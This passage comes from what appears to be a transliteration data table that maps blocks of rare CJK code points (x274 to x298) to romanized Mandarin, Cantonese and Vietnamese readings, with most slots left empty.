'','die ','','','lian ','hu ','','','','','','','','','','dian ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Chau ','','',
'','','','','','shan ','','','','','','','','','','',
'','','zu ','','zhe ','','','','','','','','','','','',
'','','xie ','xie ','','','','','','','','','','','','',
'','','','liu ','','','','','','','','','','','','',
'','','','','','jie ','','','','','','sha ','','','','Nhuc ',
'Sam ','','','Bo ','Choi ','','','Nhuc ','','ai ','','','','','','zhu ',
],
'x274':[
'','su ','','xie ','yu ,yu','Zeoi ','','','zu ','','','','','','','',
'','','su ','','','','Luon ','','','wu ','','','','','','',
'','','Hou ','','','','','','','','','','','','','',
'du ','','','lu ','su ','','','','','','','','','','Bo ','Sung ',
'','Sam ','','Ngao ','','Vet ','Chang ','','','','','','','','','',
'yu ','','Giun ','','dai ','','','','dang ','zu ','','','','chuan ','','',
'du ','','','','','','xie ','zhe ','','','','sao ','','','','',
'','','','','','','','','','','','','','','','',
'','','fu ','','','Buom ','','Sau ','','Rua ','','Rom ','Rua ','Rua ','e ','',
'','','','','','','','','','fu ','','','lei ','','','',
'','','','','','','','','chai ','','','','','','','',
'','','','','','','','','','','','','','lei ','','zei ',
'','ai ','','','','','','','','','','','','Ban ','','',
'','','','','','','fei ','','','','','','','','','',
'','','','','','','','','','','','','','','','Ngoe ',
'Sam ','','','','','','','','','','','','','','','',
],
'x275':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','ta ','','','','','','','','','du ','qiu ','','',
'','','','','chai ','','','','','','','','e ','','','',
'','','','','','','','','','','','','','','qu ','',
'','','','','','','','','','','Trai ','','','','','',
'','fu ','','','','','','chai ','zang ','','','','','','','',
'','','','','Naan ','','','','','','shuang ','','','','','',
'','','','','','','ta ','','','','','','','','','',
'','','','','','','','','','','fu ','','','','','',
'','','','','','','Moi ','','','','','','','','an ','',
'','','','','','','','','','','','','','','','xiang ',
'','','','','','','','','n ','','','san ','hu ','','zu ','',
'','','','','','','','Jiku ','','','','','','','','',
'','','','','','','','','','la ','yu ,qu','jue ','','','','',
'','shu ,yu','','','Jung ','','','Jutsu ','jian ','','','','','','','shuai ',
],
'x276':[
'','','Chong ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','hu ','','','','','','','','','','','','','',
'','','','','','','','','','Taai ','','','','','','',
'La ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','pu ','','che ','','',
'','','','','','','','53077.090,jian ','','','','','','zhan ','yuan ','',
'','','','','','','yu ','','','','','Lot ','','','','',
'mu ','huan ','','','e ','Long6','','','','','','peng ','','','','',
'','','','','Tung ','','','','','','','','','','','',
'Song ','','Xong ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','Trang ','Lun ','May ','','','','','','',
'','','','','du ','','','tu ','','','','','','','hu ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','Toi ','','','','','','','','',
],
'x277':[
'','Sha ','','','','','','','','','','','','','','',
'','','','','','','Chan ','Mo ','','Xong ','','','','','','',
'shuai ','','','','','','su ','','','','','','','','','',
'','','','','','','','','','','Bau ','','','','','',
'','','','jue ','','','','','','','','','','','','',
'','zhan ','heng ','','qu ','wei ','','','bao ','','','','','','Gei ','',
'','','','','','','','','Cheo ','Toang ','','','','','','',
'','','ju ','he ','','','','','','','','','','','','',
'shu ','','','','','','','','','','','','','','','yu ',
'','meng ','hu ','','','','','','','','','','','','','',
'','','','','','','','','','jie ','La ','shu ','jie ','lei ','','',
'zu ','','','','','','','','','','su ','','','','','',
'','','','xie ','','','','','','','','','','','','',
'','','','','','','','','nang ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x278':[
'','','','','','','','','cha ','','mao ','','','','','',
'','','xian ','','','','','','','','','chan ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','gao ','','','',
'','','','','','','','','','','Thay ','','','','','',
'','jiu ','','','','','','','','','','','','','','',
'','yun ','','','','','','','','','','','','','','',
'','','','','lian ','','','','','','','','','','','',
'','','','','','','','','','','','lao ','','','','',
'','Don ','','','','','','','','','','','','Lai6','','',
'','','yao ','','','','','wei ','','','','','','','','',
'','','','','','','chu ','','','','','','','e ','','',
'','','','','','','','','Caau ','','','','qiao ','','','',
'','','ju ','','','qiu ','','','','','','','','','','',
'','','hun ','','','','','Dia ','','','','','','','','',
'','','','','','lun ','','','jue ','','','ju ','hu ','','','',
],
'x279':[
'','','','','','','','','','','','','','','','',
'','ju ','','','','qiu ','','','','','','','','','','',
'zhe ','','','','','','','','','','','','','Ba ','','',
'','','','','','','','','','Thoi ','','','jue ','','','',
'','','','Choi ','','','su ','','','','','','kuang ','','jue ','',
'','','','','Va ','','','','','','','','','','tan ','',
'','','','','','','','','','','','','','','','hu ',
'','fu ','','','yang ','','','ren ','','','Kwan ','','yun ','','','xun ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','pu ','',
'Ngaak ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','Beng ',
'Ngoa ','','','','wang ','','','','','','','','','','','',
'','','','xu ','','','','','','','','','','Ngaa6','','',
'','','','','','','','','','','','','','','','Khoang ',
'','','','','','','tu ','','bie ','','','zha ','','','','',
],
'x27a':[
'','','','','','','','','','','Zaa6','','','','','',
'','','','','','','','','','','','','','','','',
'','chen ','','','','','','','','','','','','','','',
'','','','','','','','','','lu ','','','','','Tam ','',
'','','','','','yan ','','','','','','','','','','',
'','','','','','','','','','Daan ','','','','su ','','',
'','','','','','','','','','','','','','','','',
'bian ','','la ','','','','qia ','','','','','','','','','',
'','','','','','nu ','','','','','','','','','','',
'','','','','','','','','','','','','','','he ,ge','',
'','','','','','','','','ma ','','','','','','','',
'','','','','','','','','','xia ','','','','','','',
'','','','','','','','','','','yu ','','','','','',
'','jie ','xia ','','','','','cha ','','','','yang ','','','','',
'','','wang ','','','','','','','','','','','','','',
'','','','','','','','','','','','','Mo ','','jiu ','',
],
'x27b':[
'','hao ','','','','','','','','','','fa ','','','','',
'','','','','','','','','','','','','','','yun ','',
'','','','','','','','','Wai ','','gun ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','dan ','','','','','','','meng ','','','','','',
'','','','','teng ','','','','','','','','Leoi6','sa ','','',
'','','','','','','','','','','','','','','','',
'','','','he ','','','','','','','','','','shan ','','',
'','','','','','','','','','','','','','','','',
'','ta ','','','','','','liu ','','','','','','','','',
'','','','','','','','','','','','jue ','','','','',
'','fen ','','','','he ','','','','','zhan ','','tai ','qian ','','',
'','','','','Hang ','Hang ','','','','','','','','lao ','','',
'','','','','','','jun ','','','','','','','','','',
'','','','','','zai ','juan ','','','chu ','','','','','','',
'kan ','','','','','Phong ','','','','','','','','','','',
],
'x27c':[
'','','','','','','','yu ','wu ','','Tian ','','','','','',
'','','','','','','','Nanh ','','','','','','','','',
'','','','','','','','Shuu ','','','han ','chu ','','tun ','','',
'','','','','','','','','','na ','','','','','','ai ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','mai ','','','','lun ','jue ,jun','','',
'','','','','','','','','','','','','','','','',
'','','','huai ','','','','','','','','','','','','',
'','','','','','ceng ','','hu ','','','','ju ','sha ','meng ','','',
'','','','','','','','wei ','','','','','','','','',
'','','zhe ','','','hu ','','','','','','Cop ','','','','',
'','','','','','qu ','','','','','','','Beo ','','','',
'','','fu ','','','','','Cop ','','','','','','','wu ','pei ',
'','','','','','','','','Hum ','','','sha ','','zhao ','wei ','',
'','','','','','','','','','tuan ','','','mei ','','','',
'','','','','','','','','gu ','shao ','','','','','','',
],
'x27d':[
'','','peng ','','','','','','','','huan ','Beo ','fu ','','biao ','',
'','','','','','biao ','','','','','guai ','','','','','',
'','','','','','pei ','','','','','Suo ','','','','','Me ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','Qua ',
'pai ','','','','','','','','ai ','','','','','','','',
'','','','She ','','','','','','','','','','','','',
'','','','','Danh ','','','','','','yun ','','','xu ','','',
'','','','','cheng ','','','','','','','','','','','',
'yu ','','','','','','','','','','','','','','','',
'','','','','','cha ','Faan ','ze ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'fen ','xie ','','','','','','','','','','','','Xoe ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','shan ','','Mua ','','','','','','ju ','',
],
'x27e':[
'','','','','','','','','','','','','','','','',
'','','','','','','Zhuan ','xue ','','','','','','','','',
'','','','','','','lan ','ju ','','xun ','zhan ','gun ','','','','',
'','','','','','','','','','','','Bui ','','','','chai ',
'','','','','','','','','reng ','','','Vay ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','Son ','','','xu ','','',
'','Tham ','hu ','gan ','','','','','','','','','','','hu ','',
'Tham ','Tham ','','','','','','','','','','','','','','',
'jue ','','zu ','','','','','','','','','','jiao ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','chu ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','xian ','','','','','ju ','','Mut6','','','','','','',
'','','','','','','','','','','','','','','','',
'hu ,zao','qiu ','','fu ','lang ','sha ','','','','','','','','','','',
],
'x27f':[
'','','','','','','','','','','','','','Lanh ','','',
'','xu ','','','leng ','','','fu ','','','','','cu ','','','',
'','','','','dao ','','','','jie ,jue','','','yu ','','','Tang ','shu ,yu',
'','','','','','','','','','','','','','','','',
'','','','','jie ','','','Day ','Day ','','','','','','','',
'','','Cau ','','','','','','','','','','','','','jie ',
'','','','','','lu ','','chu ','','','','lian ','','','','',
'','','','','','','e ','su ','Jue ','','','ju ','','','','',
'','','','','','','xuan ','','','','','','Tron ','','','',
'jiao ','','','','','','','','','','yu ','','','xun ','','',
'xun ','','','ju ','','du ','','','','xun ,xuan','','','','','','jie ',
'','qu ','','','','jue ','','','','','','jiu ','','','','Treo ',
'','','','','','','','','','ku ,wu','','ku ','zha ','','','ba ',
'Chen ','Nhac ','Dam6','hu ','nu ','e ','','','','','','','','','','',
'','','','','','bie ','','','','ge ','','Dau ','','','','',
'','','','','','','','yu ','','Mau ','Xoat ','ju ','','','','',
],
'x280':[
'','','','','','','','','Buoc ','','','','','Dung ','Lop ','',
'Rong ','','','','','','hai ','','','','','cun ','','','','',
'','','','Kei ','Choi ','','','','','','','','zai ','','','',
'Bang ','','','','xun ','','','','','','','','','','','',
'','xuan ','xie ','','han ','','','tun ','Gaang ','','cen ','','','Ren ','Choanh ','',
'','','','','','','','','','','','','','Buot ','','',
'','Noi ','','','','','','Noi ','Cuong ','','Dau ','','','','','',
'Xui ','','','','','','','','','','','','Bon ','de ','','',
'','','','peng ','','','','','','','','','','','','',
'Leoi ','','','','Doc ','','','Co ','','','','','','','tan ','',
'','','','wu ','','','chuan ','','','','','','','du ','','',
'','hun ','','','','','','','','','','','','Dam6','Naam ','',
'','','','','','','','','','','','','Giay ','Tot ','','Xam ',
'Giay ','','','','','Soc ','kua ','teng ','','','ta ','sa ','','','Pun ','Pun ',
'','','','sao ','','','','','','Sin ','','','','zu ','','',
'','','jie ','neng ','','','','Chuc ','','','','','To ','Nhuc ','Xung ','',
],
'x281':[
'','','','','','','','','','','Te ','','','','','',
'','','','','shuan ','zu ','','','','','','','','','','',
'Tat ','','','','','','','','','','','','','','','yu ',
'','','','','Sup ','','','','','','Chui ','','','','Ghe ','Giong ',
'','Sup ','Mop ','','','','','','','Lung ','','xiao ','','Ren ','','Laam ',
'','','shu ,chu','','','','','','','','','','','Jaang ','Nhap ','',
'','','','','','Bay ','','','','','','','','','','',
'','','','','','','','Doi ','','','','','','','Sum ','',
'','','Khum ','','zhu ','','','cha ','juan ','','','','','','zei ','',
'','','','','','','','','','','','','','Cui ','','',
'Quay ','Dep ','','','','Tuon ','','','','','Jaang ','','','','','Buk6',
'ta ,da','','','','','','','','','','','','','','','',
'','kuang ','','','','bao ','lai ','','','Leo ','','','','','','',
'','','','','','','lu ','','','','','','','','','',
'','','','','','','chan ','','','zhan ','','','','','','',
'','','','','','Nhao ','Khuy ','','','','','','','','','',
],
'x282':[
'','','','','','','','Laam ','die ','','','','','','','',
'','','','leng ','','','','','','','Pei ','','','','','',
'','','','','','','','','','','','zhu ','','','','',
'','','','','','','','','','','ye ','','','','','',
'','huang ','','','','','','','','Pei ','','','','','','',
'','','','','','','Nei ','','','','','','','','Lung ','',
'Ban ','','','','','','','','','','','','','mei ','','',
'','tang ','','','','','','','','','','','Wu ','xiang ','','',
'','','','','','','','','','','','','Lan ','','','',
'','','','','','','','','','','','Laak ','','','','',
'','','','','','','','','','','','','','','','',
'','yu ','','','','','','','','','dai ','','xuan ','','','jue ',
'','','','','','','','','du ','','','','','Wan ','','',
'','','','','','','','','zha ','','','pao ','','','bu ','he ',
'','','Lip ','','So ','','','ju ','hun ','','','','','','','Zhuai ',
'','','','','','','','','','','','','','','','',
],
'x283':[
'','','','','zang ','','','','','','','','','','xu ','',
'','','','','','','','','jun ','','','','','','','',
'lu ','','','','','fu ','','','','Tang ','','','chao ','ta ','','',
'','','','','','','','','','','','','','','','',
'','','','','Co ','','','he ','','','','','','','mu ','',
'','','xian ,jian','','','','','','','','','du ','','','','',
'','','','','','','Sau ','','','peng ','','','','','','ju ',
'','','','Yao ','','','','','','','','','','','','',
'','','','','','','So ','','','','','','','','','',
'','','','','yang ','','','','','','','','','','','Truoc ',
'Truoc ','','','','','','','peng ','','','','jian ','jiao ','','','',
'','','','peng ','Dang ','','qu ','','mu ','','','','','','fen ','',
'','','','','','','','','','shuan ','jian ','','','','','',
'','','','','lu ,du','','','','','','ge ','','','','','',
'','','','','','xian ','','So ','','','','','','','','',
'','','','xie ','ge ','','','','','jue ','','','','','','',
],
'x284':[
'','die ','','zhe ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','ku ','','qu ','','ge ','ban ','','','','','','','','Cay ','',
'','ban ','','','','','','','','','','','','','ban ,bian','',
'','','','','','','','','','','','','chen ','','','',
'','','Tu ','','','','','','','','','','Xuong ','','','',
'','','','','','wu ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','pan ','','','','','','','qiu ','','','','','',
'','','','','','','','','','','','','bie ','','kan ','',
'','','','','','','','','nai ','','','','','','','',
'','','','','','','','','','','Quanh ','','','','','',
'','','','','','','','','','','die ','','','','','',
'','','','','','','','','','','','','','','dai ','',
'','Lung ','','','','','','','','','','','','','','',
'jie ','','','','ya ','','','','','','','','','','','pei ',
],
'x285':[
'','','','','','','','','Choi ','','Suot ','','Co ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','shu ','','','','','','','','','ta ',
'','','','','','','','','','','','','','','','Chuc ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'ze ','','chu ','','','','qiu ','','','','','','','','','',
'','','','','','','','','','','','','','jie ','','',
'','','','','','Sang ','','','','','','','yang ','','','jiu ',
'','','','','','','','','','','','','','','','',
'','','','','','','','Mau ','','','','','','','','',
'','xian ','','','','','xiang ','sha ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','dao ','','','','','','','','','Nhanh ','yu ,ju','','',
'','chao ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','da ','',
],
'x286':[
'','','jiu ','','','','','','','sha ','','','','','','',
'','','','','','','','','','xian ','','','','','xian ','',
'','','','','','','','','','','','','','','jiu ','',
'','Nhanh ','','','kao ','','','','','','','','','','','',
'','','','','','','','','','','','','','Keo ','ta ','zan ',
'','','','','zhu ','','Suot ','','','','','','','Lui ','','',
'','','','','','','','','','','','','','','','',
'','','','','','xiang ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','bian ','','','','','','','','','','',
'','','','','','','','qie ','','','','','','','hao ','',
'','','cun ','','ru ','zai ','','','','','','','','','','',
'','','','','','','','','','','','','','shao ','han ','',
'jun ','','bu ','','','','kuai ','','','','','','xiang ','','','',
'','yun ','','','','pu ','','','','','','','pei ','','','',
'','','','','','','','','','','','','','','','',
],
'x287':[
'','','','','','','','','','','','','huan ','qiao ','','',
'','','','','','','yu ','','mei ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','he ','','','he ','','','','','','','','','','chuang ','xu ',
'','','','','','','','','','','','zhai ','','','','',
'','guan ','','','','','','','','','','tu ','shun ','','hu ','',
'','','','','','','dang ','','','','','','','feng ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'cheng ','','','yu ','','zhu ,chu','','qun ','','qu ','','ge ','','','','',
'','','','','','','','','gai ','','','meng ','','','','',
'','','','qu ','','','','','','','','','wan ','lei ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','dai ','','','','','','','','','','','qiu ','','',
],
'x288':[
'','','','','','','','','','Tam ','','','','','','',
'','','Faan ','','','','bao ','','','','','','','','','',
'','','','','','wei ','','','','','','','hao ','','','',
'','','Giam ','Gay ','Sua ','Xoang ','','','','','','','','','','',
'','','','jiao ','','','','','','Dam ','','','nei ','','yan ','',
'','','','','','','','zha ','','','','','','','','',
'','','','yan ','','','','','Gay ','','','hun ','','mu ','','',
'','','','','','','','','','','','','Giam ','','','',
'','','','','','','','liu ','han ','','meng ','hu ','','','','',
'','','','','','','','','','','','','','','','Cay ',
'meng ','','mu ','','hu ','Mi ','shai ,zha','','','','chao ','','','','','nian ',
'','','','','','','','','','','','','','','','',
'','','','','','chuai ','','','','','','','','','','',
'','','','','','','','hu ','meng ','pao ','','','','','','',
'','','','','Giam ','Dau ','Zeoi6','','lan ','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x289':[
'','','','','','','','','','','','','','','','',
'','juan ','','','','','','','','','','','','','','',
'','guang ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','jie ','','','','','','','','','','','','','',
'','','','','','','','','','','','hu ','','','','',
'','','','cen ','','','','','','','','','','','','',
'','','','','','','dai ','','','','','','','','','',
'Keo ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','fu ','','','','',
'','','','','','','','Nen ','','','','','','Lao ','','',
'liu ','','','','','','','','','','','','','','','',
'','','','','','','Bua ','','','','','','','','','',
'','xiang ','','','','bian ','','wu ','','','','','Bong ','','','',
'Gang ','','','Xot ','','','','','','','sao ','','','','','',
'zu ','','','','','','','','','','','','','','','',
],
'x28a':[
'','','','','','Hoat ','','','','','','','','','','',
'','','','','','','','quan ','','','chao ','he ','','','','',
'Cuoc ','wu ','','','Khep ','','Mai ','Thep ','','','','','','','','',
'ruan ','','','zu ','','','yu ','tu ','meng ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','mao ','','','yu ','','','',
'zu ','','','','','','','','','','','','','xia ','','',
'','','','','','jian ','','','','','','','','','yu ','',
'','','','','','liu ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','ruan ','','','yan ','','','','','','','','','',
'','','','','Bam ','Lon ','','','Choc ','','Sat ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','Han ','','','','','',
'','','','','','Cuoc ','','','','','','','','','','',
],
'x28b':[
'','','','','','','','','','Dui ','','','','','','',
'jue ','','','','ruan ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','zhu ','','','','','','','Baang ','Bay ','','Choang ',
'','','Choang ','die ','','','','','','','','','','','','',
'','Thau ','','','','','','','','','','','','','','',
'','','','','','','','','','','Com ','','','','','',
'','','','','','','','Bung ','Hom ','Cun ','','','','','','',
'Nhon ','Thoi ','','','yu ','','','','Ban ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','cai ','','','','','','','','','','','jiang ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Dui ','','','','','','','',
],
'x28c':[
'','','qian ','','','','','','','','','','','','','ta ',
'','diao ','','','','','','','','','','','jue ','','','',
'','','','','','','','','','','','','','','','',
'','','','','Nen ','','','','yu ','','Ben ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','duan ','','','','','',
'','','','','','','dao ','','','','','','','','','',
'','','','','','','','','','','','','cen ','Dai ','Dai ','',
'','','','','jun ','','','','zhu ','','an ','','','','','',
'','','qiu ','','','','','','','','','','','','','',
'','','','','','','','','','','','feng ','wu ','jiao ','','',
'peng ','','','','','','','','','','','','','','','',
'niao ','','chan ','','','','nang ','','','','Gau ','','','Cat6','','',
'','','Mon ','','men ','','','','tun ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','die ','','','','','',
],
'x28d':[
'','','','','','','','','','','','','','','xu ','',
'','Kuang ','','wei ','','','','die ','','','','','','','','',
'','','he ','yan ','','','Cua ','','','tu ','','','hu ','','','',
'chu ','','','','','','','','','','men ','','','','','',
'','','','','','','','','','','zhe ','','','','','',
'','','','','','','','','','','xie ','','','ta ','','fu ',
'','','','Cua ','','','yu ','','','','xie ','','xian ','jian ','xu ','',
'','','','','','','','','','','','','','','','',
'','yan ','ai ','','','','','','','','jun ','','','','','',
'','','','','','','','lang ','','Lan ','','','','shu ','','',
'','','yu ','','','','','','','','','','hua ','wen ','','e ',
'','','','','','','','','','Gwaan ','','','','','','',
'','niu ','','','xiang ','','sa ','','','','','','','','run ','',
'','','','jian ','xu ','','','','','shu ','','','','','','',
'','','','','','xie ','','','','','','','','','','Cua ',
'','','','','','','Cua ','','','','','','','','dang ','',
],
'x28e':[
'','','','','','','','','','','','','','Cup ','','',
'reng ','','','','','','','han ','','','Ji ','gai ','','','','',
'','','','','','','','','','','','','Zhen ','','','',
'ju ','','','','','','','','','','','','','','','',
'','','','','','','xuan ','','','','','','','','','',
'','','','','','','','','xu ','','cheng ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','zhao ','','','','','','','',
'','','','','','fu ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','duan ','','','','qiu ','','','','','','','xun ','',
'','','','','','','','','','Jiao ','','','','','','',
'','','yan ','','','','','','','','','','','xu ','','',
'','','','','','','','die ','','','','','','','','',
'','','','','','','','liu ','','','','Luong ','','','','',
'','','Xia ','','','','Geki ','','','','','','','','','',
],
'x28f':[
'','','','','','','','','zhan ','cuan ','wu ','','','','jue ','',
'','','','','xun ','','','','','','Be ','','','','','',
'','','','','chen ','','','','','','','qu ','','','zhan ','',
'','jue ','','','','','','','','','','','','qu ','','meng ',
'','','pu ','','','','','','','','','','','du ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','xia ',
'','','','','','','','','','','','','','','','dai ',
'','','','','','','','','','','','','yu ','','','',
'','','','','fang ','','','','','','','','','','','',
'','','','','die ','','','','','','','','','','','',
'','','','','','','','','','','','','','','tiao ','',
'','','','','','','','','','','','','','','','wu ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','wei ','','',
'','','','','','','','','','','','','','','','',
],
'x290':[
'','','','','','','','','','','','run ','','','','',
'','','','','','','','','','','','','','','','',
'','','','wei ','','','','','','','','','','','','',
'','','','Song ','','','','','','','','','','','','',
'','','','','','','','','','','','','wei ','','','',
'','','','','','','','','','','','','','','cai ','',
'','','','','','','Loi ','','','','','','','','','',
'','','','','','','Ngat ','','','','','','','','','',
'Con ','Ngut ','','shai ','tun ','','','','','','','','','','fu ','Che ',
'Ram ','Bung ','','','fu ','Phat ','ze ','pu ','','','','','','','pao ','Mu ',
'','','','','hua ','','','','','','','','','','','',
'','','','Rei ','','dian ','Set ','','','','','','','','','',
'yan ','','','','','','','','','','','','','','','',
'','','','','','','','','','','xuan ','','','','','',
'dai ','','','','','','','','','','','','','','','',
'','','','','ba ','','','dai ','','','','','','','','',
],
'x291':[
'','','','','','lu ','','','','','','ru ','','','Mua ','Bung ',
'','','','','','dan ','meng ','xia ','','','','','','','','',
'','','','','','','peng ','','Guot ','','','','','','','wu ',
'Set ','','May ','','','Nap ','Xoi ','piao ','','','','','','','ze ','',
'','','','','lu ','','','bu ','','','','','','man ','','',
'','','','','','','','','','','','Bung ','','','','',
'nan ','','he ','','','','','','','','','','','','cen ','',
'','','','','','','','','','May ','Rau ','Zyu ','','','dan ','fu ',
'','','','','','sa ','','','','','','Rao ','','Rao ','liu ','',
'Sam ','','','','dian ','','','','','','','','','','','',
'Mong ','Rao ','','','','','','','','','','','Mong ','','','',
'','','','','','','','Sam ','','','','','','','Khuya ','',
'','','','','','Mu ','Sam ','hun ','','','','','','Loa ','','',
'qu ','','','','','','','','','','','','','','','',
'','','Xanh ','','','','','','','','','','','','','fei ',
'','','','','','','','','','','','','','fei ','','',
],
'x292':[
'','','Bay ','','','','','','pang ','dan ','','ai ','','','','',
'','','','','','','','mai ','','','','','','','dao ','',
'','','','','chu ','','','','','','','','wan ','','diao ','',
'','','suan ','','','','','','','mian ','','','','','','',
'lan ','','','','','','','','','','','','','','','',
'gan ','','','','jian ','','','','','','','','hang ','','','',
'','','','','','xuan ','','','','','','','','','','',
'ang ','','','','','fen ','','','ju ','','','','','fu ','','qu ',
'','','','ma ','','bao ','','yu ','','','','','','mai ','','',
'','','','','jiao ','','','','','','','','','','','',
'','','','','','','','','','','','','bu ','','','',
'','','','','','zhe ','bu ','','','','jue ','xun ','','Hia ','','',
'','','bai ','','','ta ','','','nao ','yu ','','','','','','',
'','','','','','','','','Xie ','diao ','','','','','die ','fu ,fu',
'','','xuan ,yun','','yu ','','','Xie ','fu ','','','xuan ','','','','',
'','','','','','','','la ','','','gao ','','','e ','','mei ',
],
'x293':[
'','','','','','','','ta ','','ta ','','','','','','',
'ta ','','','','','','','','ta ','','','','','','','',
'','','','','','','','','','','ze ','lu ','','','xu ','',
'','','xu ','','','','','','','','','','','','','',
'','','bao ','','','','','','','','','sheng ','','','','fu ',
'','','','','','','','Bang ','','','','','','','','',
'','','Roi ','Dep ','','','','','','','','','','','','',
'','','','xu ','','','','jue ','','','','','lu ','','','',
'','','','','','','','','','','','','','','ge ','',
'','','','','','','','','','','','fu ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','wei ','','','','yu ','','bai ','','ta ','','',
'','','','','','yun ','yun ','duan ','','wei ','','','','','','',
'','','','','','','hun ','','','','','','','','bai ','yu ',
'','','','','','','','','','','','','','','','',
'','','','','yu ','','','','','juan ','jue ','','','','','',
],
'x294':[
'','','','','','sa ','','','','','','','','','','',
'','','','','','','','','','','fu ','peng ','','','','',
'','zu ','','','','','','','','','','su ','','','','',
'','','','','','','zhe ','','','','','','su ','','','',
'','e ','','','','','','','guang ','','','','','ao ','','',
'','','','','','','','','','','','','','','','',
'','','','','','men ','','','','','','','','','la ','',
'','','','','yao ','','','','','xuan ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','yan ','','','','','','','','','',
'','','','','','','','','','','','','','','qiu ','',
'','','','','','','','','','','fu ','','','','wu ','',
'','','','','','','','','','','','','','','','',
'','','','','','','fu ','','','','','Ngup ','Mang ','bie ','','',
'','','','','an ','Ngok6','wu ','','','','lu ','','','','','',
'','','','','','','','','','','','jue ','','','','',
],
'x295':[
'wai ','','dun ','','jie ','','','','','','zhuan ','hang ','','','','',
'','','','','','qiu ','','Lei ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','ze ','xu ','','','','','','','','xu ','','','',
'ao ','','','','','','','','','','','','','','','',
'liao ','','','','','wai ','','','','','','','','','','',
'han ','','','','dan ','','','','','','','','','Gai ','','',
'','','','','','','','','','','','','','','yuan ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','peng ','','','','',
'','','','','tun ','','','','','','','','fu ','','','',
'','','','','','','','','','','han ','','fu ','','','',
'','','','To ','','','','','','sa ','','','','','','',
'hua ','','','','','qiu ','','','','','','','','','sa ','',
'','','','','han ','','','','','liu ','','','','','','',
'','','','','Bung6','','','','','','','','','wu ','','',
],
'x296':[
'zhao ','','','','May ','','','','','','la ','','','yuan ','','',
'','','','','','','','','','','','','','','','',
'','','','To ','yu ','','','','','','','','','','','',
'su ','shuai ','','yu ','','','','','','su ','','yu ','','','','',
'','','','','liu ','','cheng ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','niu ','','','','Bay ','','','','',
'','','','','yu ','','','','','','','','','','','',
'','','','','Nhu ','','niu ','','','','','na ','','','','',
'','','','','','','','Qua ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','No ','Qua ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','zai ','','','mao ','','yu ','','','yu ','','',
'','','','','','','','','','','ju ','','lu ','','','',
],
'x297':[
'','','','ju ','','','','Juan ','','','','','','','','',
'','','','','','','','','','','','','','','','ang ',
'Mam ','','','','','','','','','','','','','','','',
'','','fu ','','','','','','','','','','','yan ','','',
'','','','','','','','','','','','','','','','',
'','','','','','wu ','','yu ','','','','','','','','',
'Qiu ','','','','','su ','','','','','','','','','','',
'','','','','','','','','','','','Chan ','','jiang ','','',
'','','','','','','','','zhu ','','','','','','','',
'','','','','','','','','','','','','','','hai ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','han ',
'','yuan ,xuan','Qua ','','','','','ao ','','','','shan ','','','','',
'','yu ','','','Caat ','','','','','','','','','','meng ','',
'','','','','','','jie ','','','','','','','','huai ','',
'','','','yu ','','','chan ,jie','','','','','Nang ','','','','',
],
'x298':[
'','','','','','','','','','','','','','','','',
'','Ding ','','','Mao ','','','','','','','','','','','',
'Cui ','','','','','','','Guc ','','','','','','','','wei ',
'','Chui ','','Chui ','Cui ','Choi ','','fu ','','','','','','','','',
'','','','yu ','','','','','','','','Thom ','','','','',
